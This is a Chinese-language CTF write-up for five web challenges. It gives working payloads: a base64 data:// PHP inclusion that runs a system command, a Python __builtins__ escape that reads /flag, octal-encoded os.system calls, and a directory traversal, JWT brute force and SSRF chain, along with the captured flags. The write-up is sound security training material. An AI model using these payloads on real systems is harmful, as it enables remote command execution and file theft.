目录
1、Include Me
2、blindsql1
3、臭皮踩踩背
4、臭皮的计算机
5、这“照片”是你吗
1、Include Me
使用 data 协议,结合 base64 编码绕过
payload:
?iknow=1&me=data://text/plain;base64,PD89c3lzdGVtKCJ0YWMgL2ZsYWciKTs
拿到 flag:flag{d8c4938b-84cc-48a1-aaf0-9305b1c512aa}
2、blindsql1
这道题当时写的 exp 能打通 week3 和 week4 的,所以下周再给大家放出来
3、臭皮踩踩背
看到 __builtins__
跟 ssti 一样,payload:
f.__globals__['__builtins__'].print(f.__globals__['__builtins__'].open('/flag').read())
拿到 flag:flag{19475ea8-6fd6-4e4a-8b86-ad025e20e3f4}
4、臭皮的计算机
最开始以为还是 ssti,但是测试发现是直接传给 eval 函数的,只是过滤了所有字母
尝试调用 os 模块来执行系统命令:
os.system('ls')
使用八进制绕过:
\157\163\56\163\171\163\164\145\155\50\47\154\163\47\51
读取根目录下的 flag:
\157\163\56\163\171\163\164\145\155\50\47\164\141\143\40\57\146\154\141\147\47\51
拿到 flag:flag{2b07533f-2e8a-4f29-bec1-1db40f0abd52}
5、这“照片”是你吗
扫到 DS_store
但是似乎没什么东西
一开始一直在页面请求的,没什么发现
后面 bp 重发,目录穿越拿到了 app.py 的源码
使用用户名和密码登录:amiya 114514
审代码的时候发现这句,说明应该是还有一个叫 flag.py 的文件
读一下:
def get_random_number_string(length):return ''.join([str(random.randint(0, 9)) for _ in range(length)])
结合前面拿到的代码可以知道 jwt 密钥 key 就是六位纯数字
爆破一下:
Found secret key: 968491
伪造 admin 登录
调 execute 路由
SSRF 利用
拿到 flag:flag{0da2e956-7511-43af-bb5e-b3598baa92c7}